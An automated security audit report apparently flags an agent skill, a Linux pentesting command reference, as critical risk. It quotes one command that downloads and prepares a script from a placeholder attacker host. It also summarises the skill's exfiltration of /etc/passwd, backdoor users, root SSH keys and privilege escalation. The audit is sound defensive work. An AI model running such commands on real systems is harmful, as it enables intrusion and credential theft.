linux-pentesting-command-reference

Fail

Audited by Gen Agent Trust Hub on Jun 12, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONCOMMAND_EXECUTIONCREDENTIALS_UNSAFEEXTERNAL_DOWNLOADS
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill provides commands for downloading and executing arbitrary scripts from remote sources (e.g., wget http://ATTACKER_IP/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh).\n- [EXTERNAL_DOWNLOADS]: It instructs the user to clone a third-party, unverifiable GitHub repository (HIMANSHUSHARMA20/Linux-for-a-Pentester) to retrieve the reference library.\n- [DATA_EXFILTRATION]: Contains ready-to-use command patterns for exfiltrating sensitive system files like /etc/passwd to remote listeners using tools like nc and curl.\n- [COMMAND_EXECUTION]: Outlines procedures for establishing system persistence by creating backdoor users and adding unauthorized SSH keys to the root account.\n- [COMMAND_EXECUTION]: Lists multiple techniques for privilege escalation, including exploitation of SUID binaries, sudo misconfigurations, and environment variable manipulation.\n- [CREDENTIALS_UNSAFE]: Explicitly references the access and modification of critical sensitive files including /etc/shadow and SSH authorized_keys.
Recommendations
  • HIGH: Downloads and executes remote code from: http://ATTACKER_IP:8000/linpeas.sh, http://ATTACKER_IP/linpeas.sh - DO NOT USE without thorough review
  • CRITICAL: 1 infected file(s) detected - DO NOT USE
Audit Metadata
Risk Level
CRITICAL
Analyzed
Jun 12, 2026, 08:51 PM
Security Audit — agent-trust-hub — linux-pentesting-command-reference